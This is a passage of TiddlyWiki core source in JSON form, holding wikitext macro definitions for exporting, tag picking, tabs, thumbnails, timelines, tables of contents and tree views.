"title": "$:/core/macros/dumpvariables",
"tags": "$:/tags/Macro",
"text": "\\define dumpvariables()\n<ul>\n<$list filter=\"[variables[]]\" variable=\"varname\">\n<li>\n<strong><code><$text text=<<varname>>/></code></strong>:<br/>\n<$codeblock code={{{ [<varname>getvariable[]] }}}/>\n</li>\n</$list>\n</ul>\n\\end\n"
},
"$:/core/macros/export": {
"title": "$:/core/macros/export",
"tags": "$:/tags/Macro",
"text": "\\define exportButtonFilename(baseFilename)\n$baseFilename$$(extension)$\n\\end\n\n\\define exportButton(exportFilter:\"[!is[system]sort[title]]\",lingoBase,baseFilename:\"tiddlers\")\n<span class=\"tc-popup-keep\"><$button popup=<<qualify \"$:/state/popup/export\">> tooltip={{$lingoBase$Hint}} aria-label={{$lingoBase$Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/export-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$lingoBase$Caption}}/></span>\n</$list>\n</$button></span><$reveal state=<<qualify \"$:/state/popup/export\">> type=\"popup\" position=\"below\" animate=\"yes\">\n<div class=\"tc-drop-down\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Exporter]]\">\n<$set name=\"extension\" value={{!!extension}}>\n<$button class=\"tc-btn-invisible\">\n<$action-sendmessage $message=\"tm-download-file\" $param=<<currentTiddler>> exportFilter=\"\"\"$exportFilter$\"\"\" filename=<<exportButtonFilename \"\"\"$baseFilename$\"\"\">>/>\n<$action-deletetiddler $tiddler=<<qualify \"$:/state/popup/export\">>/>\n<$transclude field=\"description\"/>\n</$button>\n</$set>\n</$list>\n</div>\n</$reveal>\n\\end\n"
},
"$:/core/macros/image-picker": {
"title": "$:/core/macros/image-picker",
"created": "20170715180840889",
"modified": "20170715180914005",
"tags": "$:/tags/Macro",
"type": "text/vnd.tiddlywiki",
"text": "\\define image-picker-thumbnail(actions)\n<$button tag=\"a\" tooltip=\"\"\"$(imageTitle)$\"\"\">\n$actions$\n<$transclude tiddler=<<imageTitle>>/>\n</$button>\n\\end\n\n\\define image-picker-list(filter,actions)\n<$list filter=\"\"\"$filter$\"\"\" variable=\"imageTitle\">\n<$macrocall $name=\"image-picker-thumbnail\" actions=\"\"\"$actions$\"\"\"/>\n</$list>\n\\end\n\n\\define image-picker(actions,filter:\"[all[shadows+tiddlers]is[image]] -[type[application/pdf]] +[!has[draft.of]$subfilter$sort[title]]\",subfilter:\"\")\n<div class=\"tc-image-chooser\">\n<$vars state-system=<<qualify \"$:/state/image-picker/system\">>>\n<$checkbox tiddler=<<state-system>> field=\"text\" checked=\"show\" unchecked=\"hide\" default=\"hide\">\n{{$:/language/SystemTiddlers/Include/Prompt}}\n</$checkbox>\n<$reveal state=<<state-system>> type=\"match\" text=\"hide\" default=\"hide\" tag=\"div\">\n<$macrocall $name=\"image-picker-list\" filter=\"\"\"$filter$ +[!is[system]]\"\"\" actions=\"\"\"$actions$\"\"\"/>\n</$reveal>\n<$reveal state=<<state-system>> type=\"nomatch\" text=\"hide\" default=\"hide\" tag=\"div\">\n<$macrocall $name=\"image-picker-list\" filter=\"\"\"$filter$\"\"\" actions=\"\"\"$actions$\"\"\"/>\n</$reveal>\n</$vars>\n</div>\n\\end\n\n\\define image-picker-include-tagged-images(actions)\n<$macrocall $name=\"image-picker\" filter=\"[all[shadows+tiddlers]is[image]] [all[shadows+tiddlers]tag[$:/tags/Image]] -[type[application/pdf]] +[!has[draft.of]sort[title]]\" actions=\"\"\"$actions$\"\"\"/>\n\\end\n"
},
"$:/core/macros/lingo": {
"title": "$:/core/macros/lingo",
"tags": "$:/tags/Macro",
"text": "\\define lingo-base()\n$:/language/\n\\end\n\n\\define lingo(title)\n{{$(lingo-base)$$title$}}\n\\end\n"
},
"$:/core/macros/list": {
"title": "$:/core/macros/list",
"tags": "$:/tags/Macro",
"text": "\\define list-links(filter,type:\"ul\",subtype:\"li\",class:\"\",emptyMessage)\n\\whitespace trim\n<$type$ class=\"$class$\">\n<$list filter=\"$filter$\" emptyMessage=<<__emptyMessage__>>>\n<$subtype$>\n<$link to={{!!title}}>\n<$transclude field=\"caption\">\n<$view field=\"title\"/>\n</$transclude>\n</$link>\n</$subtype$>\n</$list>\n</$type$>\n\\end\n\n\\define list-links-draggable-drop-actions()\n<$action-listops $tiddler=<<targetTiddler>> $field=<<targetField>> $subfilter=\"+[insertbefore:currentTiddler<actionTiddler>]\"/>\n\\end\n\n\\define list-links-draggable(tiddler,field:\"list\",type:\"ul\",subtype:\"li\",class:\"\",itemTemplate)\n\\whitespace trim\n<span class=\"tc-links-draggable-list\">\n<$vars targetTiddler=\"\"\"$tiddler$\"\"\" targetField=\"\"\"$field$\"\"\">\n<$type$ class=\"$class$\">\n<$list filter=\"[list[$tiddler$!!$field$]]\">\n<$droppable actions=<<list-links-draggable-drop-actions>> tag=\"\"\"$subtype$\"\"\" enable=<<tv-enable-drag-and-drop>>>\n<div class=\"tc-droppable-placeholder\"/>\n<div>\n<$transclude tiddler=\"\"\"$itemTemplate$\"\"\">\n<$link to={{!!title}}>\n<$transclude field=\"caption\">\n<$view field=\"title\"/>\n</$transclude>\n</$link>\n</$transclude>\n</div>\n</$droppable>\n</$list>\n</$type$>\n<$tiddler tiddler=\"\">\n<$droppable actions=<<list-links-draggable-drop-actions>> tag=\"div\" enable=<<tv-enable-drag-and-drop>>>\n<div class=\"tc-droppable-placeholder\">\n \n</div>\n<div style=\"height:0.5em;\"/>\n</$droppable>\n</$tiddler>\n</$vars>\n</span>\n\\end\n\n\\define list-tagged-draggable-drop-actions(tag)\n<!-- Save the current ordering of the tiddlers with this tag -->\n<$set name=\"order\" filter=\"[<__tag__>tagging[]]\">\n<!-- Remove any list-after or list-before fields from the tiddlers with this tag -->\n<$list filter=\"[<__tag__>tagging[]]\">\n<$action-deletefield $field=\"list-before\"/>\n<$action-deletefield $field=\"list-after\"/>\n</$list>\n<!-- Save the new order to the Tag Tiddler -->\n<$action-listops $tiddler=<<__tag__>> $field=\"list\" $filter=\"+[enlist<order>] +[insertbefore:currentTiddler<actionTiddler>]\"/>\n<!-- Make sure the newly added item has the right tag -->\n<!-- Removing this line makes dragging tags within the dropdown work as intended -->\n<!--<$action-listops $tiddler=<<actionTiddler>> $tags=<<__tag__>>/>-->\n<!-- Using the following 5 lines as replacement makes dragging titles from outside into the dropdown apply the tag -->\n<$list filter=\"[<actionTiddler>!contains:tags<__tag__>]\">\n<$fieldmangler tiddler=<<actionTiddler>>>\n<$action-sendmessage $message=\"tm-add-tag\" $param=<<__tag__>>/>\n</$fieldmangler>\n</$list>\n</$set>\n\\end\n\n\\define list-tagged-draggable(tag,subFilter,emptyMessage,itemTemplate,elementTag:\"div\",storyview:\"\")\n\\whitespace trim\n<span class=\"tc-tagged-draggable-list\">\n<$set name=\"tag\" value=<<__tag__>>>\n<$list filter=\"[<__tag__>tagging[]$subFilter$]\" emptyMessage=<<__emptyMessage__>> storyview=<<__storyview__>>>\n<$elementTag$ class=\"tc-menu-list-item\">\n<$droppable actions=\"\"\"<$macrocall $name=\"list-tagged-draggable-drop-actions\" tag=<<__tag__>>/>\"\"\" enable=<<tv-enable-drag-and-drop>>>\n<$elementTag$ class=\"tc-droppable-placeholder\"/>\n<$elementTag$>\n<$transclude tiddler=\"\"\"$itemTemplate$\"\"\">\n<$link to={{!!title}}>\n<$view field=\"title\"/>\n</$link>\n</$transclude>\n</$elementTag$>\n</$droppable>\n</$elementTag$>\n</$list>\n<$tiddler tiddler=\"\">\n<$droppable actions=\"\"\"<$macrocall $name=\"list-tagged-draggable-drop-actions\" tag=<<__tag__>>/>\"\"\" enable=<<tv-enable-drag-and-drop>>>\n<$elementTag$ class=\"tc-droppable-placeholder\"/>\n<$elementTag$ style=\"height:0.5em;\">\n</$elementTag$>\n</$droppable>\n</$tiddler>\n</$set>\n</span>\n\\end\n"
},
"$:/core/macros/tabs": {
"title": "$:/core/macros/tabs",
"tags": "$:/tags/Macro",
"text": "\\define tabs(tabsList,default,state:\"$:/state/tab\",class,template,buttonTemplate,retain)\n<div class=\"tc-tab-set $class$\">\n<div class=\"tc-tab-buttons $class$\">\n<$list filter=\"$tabsList$\" variable=\"currentTab\" storyview=\"pop\"><$set name=\"save-currentTiddler\" value=<<currentTiddler>>><$tiddler tiddler=<<currentTab>>><$button set=<<qualify \"$state$\">> setTo=<<currentTab>> default=\"$default$\" selectedClass=\"tc-tab-selected\" tooltip={{!!tooltip}}>\n<$tiddler tiddler=<<save-currentTiddler>>>\n<$set name=\"tv-wikilinks\" value=\"no\">\n<$transclude tiddler=\"$buttonTemplate$\" mode=\"inline\">\n<$transclude tiddler=<<currentTab>> field=\"caption\">\n<$macrocall $name=\"currentTab\" $type=\"text/plain\" $output=\"text/plain\"/>\n</$transclude>\n</$transclude>\n</$set></$tiddler></$button></$tiddler></$set></$list>\n</div>\n<div class=\"tc-tab-divider $class$\"/>\n<div class=\"tc-tab-content $class$\">\n<$list filter=\"$tabsList$\" variable=\"currentTab\">\n\n<$reveal type=\"match\" state=<<qualify \"$state$\">> text=<<currentTab>> default=\"$default$\" retain=\"\"\"$retain$\"\"\">\n\n<$transclude tiddler=\"$template$\" mode=\"block\">\n\n<$transclude tiddler=<<currentTab>> mode=\"block\"/>\n\n</$transclude>\n\n</$reveal>\n\n</$list>\n</div>\n</div>\n\\end\n"
},
"$:/core/macros/tag-picker": {
"title": "$:/core/macros/tag-picker",
"tags": "$:/tags/Macro",
"text": "\\define add-tag-actions()\n<$action-sendmessage $message=\"tm-add-tag\" $param={{{ [<newTagNameTiddler>get[text]] }}}/>\n<$action-deletetiddler $tiddler=<<newTagNameTiddler>>/>\n\\end\n\n\\define tag-button()\n<$button class=\"tc-btn-invisible\" tag=\"a\" tooltip={{$:/language/EditTemplate/Tags/Add/Button/Hint}}>\n<$action-sendmessage $message=\"tm-add-tag\" $param=<<tag>>/>\n<$action-deletetiddler $tiddler=<<newTagNameTiddler>>/>\n<$macrocall $name=\"tag-pill\" tag=<<tag>>/>\n</$button>\n\\end\n\n\\define tag-picker-inner()\n\\whitespace trim\n<div class=\"tc-edit-add-tag\">\n<span class=\"tc-add-tag-name\">\n<$keyboard key=\"ENTER\" actions=<<add-tag-actions>>>\n<$edit-text tiddler=<<newTagNameTiddler>> tag=\"input\" default=\"\" placeholder={{$:/language/EditTemplate/Tags/Add/Placeholder}} focusPopup=<<qualify \"$:/state/popup/tags-auto-complete\">> class=\"tc-edit-texteditor tc-popup-handle\" tabindex=<<tabIndex>> focus={{{ [{$:/config/AutoFocus}match[tags]then[true]] ~[[false]] }}}/>\n</$keyboard>\n</span> <$button popup=<<qualify \"$:/state/popup/tags-auto-complete\">> class=\"tc-btn-invisible\" tooltip={{$:/language/EditTemplate/Tags/Dropdown/Hint}} aria-label={{$:/language/EditTemplate/Tags/Dropdown/Caption}}>{{$:/core/images/down-arrow}}</$button> <span class=\"tc-add-tag-button\">\n<$set name=\"tag\" value={{{ [<newTagNameTiddler>get[text]] }}}>\n<$button set=\"$:/temp/NewTagName\" setTo=\"\" class=\"\">\n<<add-tag-actions>>\n<$action-deletetiddler $tiddler=<<newTagNameTiddler>>/>\n{{$:/language/EditTemplate/Tags/Add/Button}}\n</$button>\n</$set>\n</span>\n</div>\n<div class=\"tc-block-dropdown-wrapper\">\n<$reveal state=<<qualify \"$:/state/popup/tags-auto-complete\">> type=\"nomatch\" text=\"\" default=\"\">\n<div class=\"tc-block-dropdown\">\n<$set name=\"newTagName\" value={{{ [<newTagNameTiddler>get[text]] }}}>\n<$list filter=\"[<newTagName>minlength{$:/config/Tags/MinLength}limit[1]]\" emptyMessage=\"\"\"<div class=\"tc-search-results\">{{$:/language/Search/Search/TooShort}}</div>\"\"\" variable=\"listItem\">\n<$list filter=\"[tags[]!is[system]search:title<newTagName>sort[]]\" variable=\"tag\">\n<<tag-button>>\n</$list></$list>\n<hr>\n<$list filter=\"[<newTagName>minlength{$:/config/Tags/MinLength}limit[1]]\" emptyMessage=\"\"\"<div class=\"tc-search-results\">{{$:/language/Search/Search/TooShort}}</div>\"\"\" variable=\"listItem\">\n<$list filter=\"[tags[]is[system]search:title<newTagName>sort[]]\" variable=\"tag\">\n<<tag-button>>\n</$list></$list>\n</$set>\n</div>\n</$reveal>\n</div>\n\\end\n\\define tag-picker()\n\\whitespace trim\n<$list filter=\"[<newTagNameTiddler>match[]]\" emptyMessage=<<tag-picker-inner>>>\n<$set name=\"newTagNameTiddler\" value=<<qualify \"$:/temp/NewTagName\">>>\n<<tag-picker-inner>>\n</$set>\n</$list>\n\\end\n"
},
"$:/core/macros/tag": {
"title": "$:/core/macros/tag",
"tags": "$:/tags/Macro",
"text": "\\define tag-pill-styles()\nbackground-color:$(backgroundColor)$;\nfill:$(foregroundColor)$;\ncolor:$(foregroundColor)$;\n\\end\n\n\\define tag-pill-inner(tag,icon,colour,fallbackTarget,colourA,colourB,element-tag,element-attributes,actions)\n<$vars foregroundColor=<<contrastcolour target:\"\"\"$colour$\"\"\" fallbackTarget:\"\"\"$fallbackTarget$\"\"\" colourA:\"\"\"$colourA$\"\"\" colourB:\"\"\"$colourB$\"\"\">> backgroundColor=\"\"\"$colour$\"\"\">\n<$element-tag$ $element-attributes$ class=\"tc-tag-label tc-btn-invisible\" style=<<tag-pill-styles>>>\n$actions$<$transclude tiddler=\"\"\"$icon$\"\"\"/><$view tiddler=<<__tag__>> field=\"title\" format=\"text\" />\n</$element-tag$>\n</$vars>\n\\end\n\n\\define tag-pill-body(tag,icon,colour,palette,element-tag,element-attributes,actions)\n<$macrocall $name=\"tag-pill-inner\" tag=<<__tag__>> icon=\"\"\"$icon$\"\"\" colour=\"\"\"$colour$\"\"\" fallbackTarget={{$palette$##tag-background}} colourA={{$palette$##foreground}} colourB={{$palette$##background}} element-tag=\"\"\"$element-tag$\"\"\" element-attributes=\"\"\"$element-attributes$\"\"\" actions=\"\"\"$actions$\"\"\"/>\n\\end\n\n\\define tag-pill(tag,element-tag:\"span\",element-attributes:\"\",actions:\"\")\n<span class=\"tc-tag-list-item\">\n<$macrocall $name=\"tag-pill-body\" tag=<<__tag__>> icon={{{ [<__tag__>get[icon]] }}} colour={{{ [<__tag__>get[color]] }}} palette={{$:/palette}} element-tag=\"\"\"$element-tag$\"\"\" element-attributes=\"\"\"$element-attributes$\"\"\" actions=\"\"\"$actions$\"\"\"/>\n</span>\n\\end\n\n\\define tag(tag)\n{{$tag$||$:/core/ui/TagTemplate}}\n\\end\n"
},
"$:/core/macros/thumbnails": {
"title": "$:/core/macros/thumbnails",
"tags": "$:/tags/Macro",
"text": "\\define thumbnail(link,icon,color,background-color,image,caption,width:\"280\",height:\"157\")\n<$link to=\"\"\"$link$\"\"\"><div class=\"tc-thumbnail-wrapper\">\n<div class=\"tc-thumbnail-image\" style=\"width:$width$px;height:$height$px;\"><$reveal type=\"nomatch\" text=\"\" default=\"\"\"$image$\"\"\" tag=\"div\" style=\"width:$width$px;height:$height$px;\">\n[img[$image$]]\n</$reveal><$reveal type=\"match\" text=\"\" default=\"\"\"$image$\"\"\" tag=\"div\" class=\"tc-thumbnail-background\" style=\"width:$width$px;height:$height$px;background-color:$background-color$;\"></$reveal></div><div class=\"tc-thumbnail-icon\" style=\"fill:$color$;color:$color$;\">\n$icon$\n</div><div class=\"tc-thumbnail-caption\">\n$caption$\n</div>\n</div></$link>\n\\end\n\n\\define thumbnail-right(link,icon,color,background-color,image,caption,width:\"280\",height:\"157\")\n<div class=\"tc-thumbnail-right-wrapper\"><<thumbnail \"\"\"$link$\"\"\" \"\"\"$icon$\"\"\" \"\"\"$color$\"\"\" \"\"\"$background-color$\"\"\" \"\"\"$image$\"\"\" \"\"\"$caption$\"\"\" \"\"\"$width$\"\"\" \"\"\"$height$\"\"\">></div>\n\\end\n\n\\define list-thumbnails(filter,width:\"280\",height:\"157\")\n<$list filter=\"\"\"$filter$\"\"\"><$macrocall $name=\"thumbnail\" link={{!!link}} icon={{!!icon}} color={{!!color}} background-color={{!!background-color}} image={{!!image}} caption={{!!caption}} width=\"\"\"$width$\"\"\" height=\"\"\"$height$\"\"\"/></$list>\n\\end\n"
},
"$:/core/macros/timeline": {
"title": "$:/core/macros/timeline",
"created": "20141212105914482",
"modified": "20141212110330815",
"tags": "$:/tags/Macro",
"text": "\\define timeline-title()\n\\whitespace trim\n<!-- Override this macro with a global macro \n of the same name if you need to change \n how titles are displayed on the timeline \n -->\n<$view field=\"title\"/>\n\\end\n\\define timeline(limit:\"100\",format:\"DDth MMM YYYY\",subfilter:\"\",dateField:\"modified\")\n<div class=\"tc-timeline\">\n<$list filter=\"[!is[system]$subfilter$has[$dateField$]!sort[$dateField$]limit[$limit$]eachday[$dateField$]]\">\n<div class=\"tc-menu-list-item\">\n<$view field=\"$dateField$\" format=\"date\" template=\"$format$\"/>\n<$list filter=\"[sameday:$dateField${!!$dateField$}!is[system]$subfilter$!sort[$dateField$]]\">\n<div class=\"tc-menu-list-subitem\">\n<$link to={{!!title}}><<timeline-title>></$link>\n</div>\n</$list>\n</div>\n</$list>\n</div>\n\\end\n"
},
"$:/core/macros/toc": {
"title": "$:/core/macros/toc",
"tags": "$:/tags/Macro",
"text": "\\define toc-caption()\n<$set name=\"tv-wikilinks\" value=\"no\">\n <$transclude field=\"caption\">\n <$view field=\"title\"/>\n </$transclude>\n</$set>\n\\end\n\n\\define toc-body(tag,sort:\"\",itemClassFilter,exclude,path)\n<ol class=\"tc-toc\">\n <$list filter=\"\"\"[all[shadows+tiddlers]tag<__tag__>!has[draft.of]$sort$] -[<__tag__>] -[enlist<__exclude__>]\"\"\">\n <$vars item=<<currentTiddler>> path={{{ [<__path__>addsuffix[/]addsuffix<__tag__>] }}}>\n <$set name=\"excluded\" filter=\"\"\"[enlist<__exclude__>] [<__tag__>]\"\"\">\n <$set name=\"toc-item-class\" filter=<<__itemClassFilter__>> emptyValue=\"toc-item-selected\" value=\"toc-item\">\n <li class=<<toc-item-class>>>\n <$list filter=\"[all[current]toc-link[no]]\" emptyMessage=\"<$link><$view field='caption'><$view field='title'/></$view></$link>\">\n <<toc-caption>>\n </$list>\n <$macrocall $name=\"toc-body\" tag=<<item>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> exclude=<<excluded>> path=<<path>>/>\n </li>\n </$set>\n </$set>\n </$vars>\n </$list>\n</ol>\n\\end\n\n\\define toc(tag,sort:\"\",itemClassFilter:\"\")\n<$macrocall $name=\"toc-body\" tag=<<__tag__>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> />\n\\end\n\n\\define toc-linked-expandable-body(tag,sort:\"\",itemClassFilter,exclude,path)\n<!-- helper function -->\n<$qualify name=\"toc-state\" title={{{ [[$:/state/toc]addsuffix<__path__>addsuffix[-]addsuffix<currentTiddler>] }}}>\n <$set name=\"toc-item-class\" filter=<<__itemClassFilter__>> emptyValue=\"toc-item-selected\" value=\"toc-item\">\n <li class=<<toc-item-class>>>\n <$link>\n <$reveal type=\"nomatch\" stateTitle=<<toc-state>> text=\"open\">\n <$button setTitle=<<toc-state>> setTo=\"open\" class=\"tc-btn-invisible tc-popup-keep\">\n {{$:/core/images/right-arrow}}\n </$button>\n </$reveal>\n <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n <$button setTitle=<<toc-state>> setTo=\"close\" class=\"tc-btn-invisible tc-popup-keep\">\n {{$:/core/images/down-arrow}}\n </$button>\n </$reveal>\n <<toc-caption>>\n </$link>\n <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n <$macrocall $name=\"toc-expandable\" tag=<<currentTiddler>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> exclude=<<__exclude__>> path=<<__path__>>/>\n </$reveal>\n </li>\n </$set>\n</$qualify>\n\\end\n\n\\define toc-unlinked-expandable-body(tag,sort:\"\",itemClassFilter,exclude,path)\n<!-- helper function -->\n<$qualify name=\"toc-state\" title={{{ [[$:/state/toc]addsuffix<__path__>addsuffix[-]addsuffix<currentTiddler>] }}}>\n <$set name=\"toc-item-class\" filter=<<__itemClassFilter__>> emptyValue=\"toc-item-selected\" value=\"toc-item\">\n <li class=<<toc-item-class>>>\n <$reveal type=\"nomatch\" stateTitle=<<toc-state>> text=\"open\">\n <$button setTitle=<<toc-state>> setTo=\"open\" class=\"tc-btn-invisible tc-popup-keep\">\n {{$:/core/images/right-arrow}}\n <<toc-caption>>\n </$button>\n </$reveal>\n <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n <$button setTitle=<<toc-state>> setTo=\"close\" class=\"tc-btn-invisible tc-popup-keep\">\n {{$:/core/images/down-arrow}}\n <<toc-caption>>\n </$button>\n </$reveal>\n <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n <$macrocall $name=\"toc-expandable\" tag=<<currentTiddler>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> exclude=<<__exclude__>> path=<<__path__>>/>\n </$reveal>\n </li>\n </$set>\n</$qualify>\n\\end\n\n\\define toc-expandable-empty-message()\n<$macrocall $name=\"toc-linked-expandable-body\" tag=<<tag>> sort=<<sort>> itemClassFilter=<<itemClassFilter>> exclude=<<excluded>> path=<<path>>/>\n\\end\n\n\\define toc-expandable(tag,sort:\"\",itemClassFilter:\"\",exclude,path)\n<$vars tag=<<__tag__>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> path={{{ [<__path__>addsuffix[/]addsuffix<__tag__>] }}}>\n <$set name=\"excluded\" filter=\"\"\"[enlist<__exclude__>] [<__tag__>]\"\"\">\n <ol class=\"tc-toc toc-expandable\">\n <$list filter=\"\"\"[all[shadows+tiddlers]tag<__tag__>!has[draft.of]$sort$] -[<__tag__>] -[enlist<__exclude__>]\"\"\">\n <$list filter=\"[all[current]toc-link[no]]\" emptyMessage=<<toc-expandable-empty-message>> >\n <$macrocall $name=\"toc-unlinked-expandable-body\" tag=<<__tag__>> sort=<<__sort__>> itemClassFilter=\"\"\"itemClassFilter\"\"\" exclude=<<excluded>> path=<<path>> />\n </$list>\n </$list>\n </ol>\n </$set>\n</$vars>\n\\end\n\n\\define toc-linked-selective-expandable-body(tag,sort:\"\",itemClassFilter,exclude,path)\n<$qualify name=\"toc-state\" title={{{ [[$:/state/toc]addsuffix<__path__>addsuffix[-]addsuffix<currentTiddler>] }}}>\n <$set name=\"toc-item-class\" filter=<<__itemClassFilter__>> emptyValue=\"toc-item-selected\" value=\"toc-item\" >\n <li class=<<toc-item-class>>>\n <$link>\n <$list filter=\"[all[current]tagging[]$sort$limit[1]]\" variable=\"ignore\" emptyMessage=\"<$button class='tc-btn-invisible'>{{$:/core/images/blank}}</$button>\">\n <$reveal type=\"nomatch\" stateTitle=<<toc-state>> text=\"open\">\n <$button setTitle=<<toc-state>> setTo=\"open\" class=\"tc-btn-invisible tc-popup-keep\">\n {{$:/core/images/right-arrow}}\n </$button>\n </$reveal>\n <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n <$button setTitle=<<toc-state>> setTo=\"close\" class=\"tc-btn-invisible tc-popup-keep\">\n {{$:/core/images/down-arrow}}\n </$button>\n </$reveal>\n </$list>\n <<toc-caption>>\n </$link>\n <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n <$macrocall $name=\"toc-selective-expandable\" tag=<<currentTiddler>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> exclude=<<__exclude__>> path=<<__path__>>/>\n </$reveal>\n </li>\n </$set>\n</$qualify>\n\\end\n\n\\define toc-unlinked-selective-expandable-body(tag,sort:\"\",itemClassFilter,exclude,path)\n<$qualify name=\"toc-state\" title={{{ [[$:/state/toc]addsuffix<__path__>addsuffix[-]addsuffix<currentTiddler>] }}}>\n <$set name=\"toc-item-class\" filter=<<__itemClassFilter__>> emptyValue=\"toc-item-selected\" value=\"toc-item\">\n <li class=<<toc-item-class>>>\n <$list filter=\"[all[current]tagging[]$sort$limit[1]]\" variable=\"ignore\" emptyMessage=\"<$button class='tc-btn-invisible'>{{$:/core/images/blank}}</$button> <$view field='caption'><$view field='title'/></$view>\">\n <$reveal type=\"nomatch\" stateTitle=<<toc-state>> text=\"open\">\n <$button setTitle=<<toc-state>> setTo=\"open\" class=\"tc-btn-invisible tc-popup-keep\">\n {{$:/core/images/right-arrow}}\n <<toc-caption>>\n </$button>\n </$reveal>\n <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n <$button setTitle=<<toc-state>> setTo=\"close\" class=\"tc-btn-invisible tc-popup-keep\">\n {{$:/core/images/down-arrow}}\n <<toc-caption>>\n </$button>\n </$reveal>\n </$list>\n <$reveal type=\"match\" stateTitle=<<toc-state>> text=\"open\">\n <$macrocall $name=\"toc-selective-expandable\" tag=<<currentTiddler>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> exclude=<<__exclude__>> path=<<__path__>>/>\n </$reveal>\n </li>\n </$set>\n</$qualify>\n\\end\n\n\\define toc-selective-expandable-empty-message()\n<$macrocall $name=\"toc-linked-selective-expandable-body\" tag=<<tag>> sort=<<sort>> itemClassFilter=<<itemClassFilter>> exclude=<<excluded>> path=<<path>>/>\n\\end\n\n\\define toc-selective-expandable(tag,sort:\"\",itemClassFilter,exclude,path)\n<$vars tag=<<__tag__>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> path={{{ [<__path__>addsuffix[/]addsuffix<__tag__>] }}}>\n <$set name=\"excluded\" filter=\"\"\"[enlist<__exclude__>] [<__tag__>]\"\"\">\n <ol class=\"tc-toc toc-selective-expandable\">\n <$list filter=\"\"\"[all[shadows+tiddlers]tag<__tag__>!has[draft.of]$sort$] -[<__tag__>] -[enlist<__exclude__>]\"\"\">\n <$list filter=\"[all[current]toc-link[no]]\" variable=\"ignore\" emptyMessage=<<toc-selective-expandable-empty-message>> >\n <$macrocall $name=\"toc-unlinked-selective-expandable-body\" tag=<<__tag__>> sort=<<__sort__>> itemClassFilter=<<__itemClassFilter__>> exclude=<<excluded>> path=<<path>>/>\n </$list>\n </$list>\n </ol>\n </$set>\n</$vars>\n\\end\n\n\\define toc-tabbed-external-nav(tag,sort:\"\",selectedTiddler:\"$:/temp/toc/selectedTiddler\",unselectedText,missingText,template:\"\")\n<$tiddler tiddler={{{ [<__selectedTiddler__>get[text]] }}}>\n <div class=\"tc-tabbed-table-of-contents\">\n <$linkcatcher to=<<__selectedTiddler__>>>\n <div class=\"tc-table-of-contents\">\n <$macrocall $name=\"toc-selective-expandable\" tag=<<__tag__>> sort=<<__sort__>> itemClassFilter=\"[all[current]] -[<__selectedTiddler__>get[text]]\"/>\n </div>\n </$linkcatcher>\n <div class=\"tc-tabbed-table-of-contents-content\">\n <$reveal stateTitle=<<__selectedTiddler__>> type=\"nomatch\" text=\"\">\n <$transclude mode=\"block\" tiddler=<<__template__>>>\n <h1><<toc-caption>></h1>\n <$transclude mode=\"block\">$missingText$</$transclude>\n </$transclude>\n </$reveal>\n <$reveal stateTitle=<<__selectedTiddler__>> type=\"match\" text=\"\">\n $unselectedText$\n </$reveal>\n </div>\n </div>\n</$tiddler>\n\\end\n\n\\define toc-tabbed-internal-nav(tag,sort:\"\",selectedTiddler:\"$:/temp/toc/selectedTiddler\",unselectedText,missingText,template:\"\")\n<$linkcatcher to=<<__selectedTiddler__>>>\n <$macrocall $name=\"toc-tabbed-external-nav\" tag=<<__tag__>> sort=<<__sort__>> selectedTiddler=<<__selectedTiddler__>> unselectedText=<<__unselectedText__>> missingText=<<__missingText__>> template=<<__template__>>/>\n</$linkcatcher>\n\\end\n\n"
},
"$:/core/macros/translink": {
"title": "$:/core/macros/translink",
"tags": "$:/tags/Macro",
"text": "\\define translink(title,mode:\"block\")\n<div style=\"border:1px solid #ccc; padding: 0.5em; background: black; foreground; white;\">\n<$link to=\"\"\"$title$\"\"\">\n<$text text=\"\"\"$title$\"\"\"/>\n</$link>\n<div style=\"border:1px solid #ccc; padding: 0.5em; background: white; foreground; black;\">\n<$transclude tiddler=\"\"\"$title$\"\"\" mode=\"$mode$\">\n\"<$text text=\"\"\"$title$\"\"\"/>\" is missing\n</$transclude>\n</div>\n</div>\n\\end\n"
},
"$:/core/macros/tree": {
"title": "$:/core/macros/tree",
"tags": "$:/tags/Macro",
"text": "\\define leaf-link(full-title,chunk,separator: \"/\")\n<$link to=<<__full-title__>>><$text text=<<__chunk__>>/></$link>\n\\end\n\n\\define leaf-node(prefix,chunk)\n<li>\n<$list filter=\"[<__prefix__>addsuffix<__chunk__>is[shadow]] [<__prefix__>addsuffix<__chunk__>is[tiddler]]\" variable=\"full-title\">\n<$list filter=\"[<full-title>removeprefix<__prefix__>]\" variable=\"chunk\">\n<span>{{$:/core/images/file}}</span> <$macrocall $name=\"leaf-link\" full-title=<<full-title>> chunk=<<chunk>>/>\n</$list>\n</$list>\n</li>\n\\end\n\n\\define branch-node(prefix,chunk,separator: \"/\")\n<li>\n<$set name=\"reveal-state\" value={{{ [[$:/state/tree/]addsuffix<__prefix__>addsuffix<__chunk__>] }}}>\n<$reveal type=\"nomatch\" stateTitle=<<reveal-state>> text=\"show\">\n<$button setTitle=<<reveal-state>> setTo=\"show\" class=\"tc-btn-invisible\">\n{{$:/core/images/folder}} <$text text=<<__chunk__>>/>\n</$button>\n</$reveal>\n<$reveal type=\"match\" stateTitle=<<reveal-state>> text=\"show\">\n<$button setTitle=<<reveal-state>> setTo=\"hide\" class=\"tc-btn-invisible\">\n{{$:/core/images/folder}} <$text text=<<__chunk__>>/>\n</$button>\n</$reveal>\n<span>(<$count 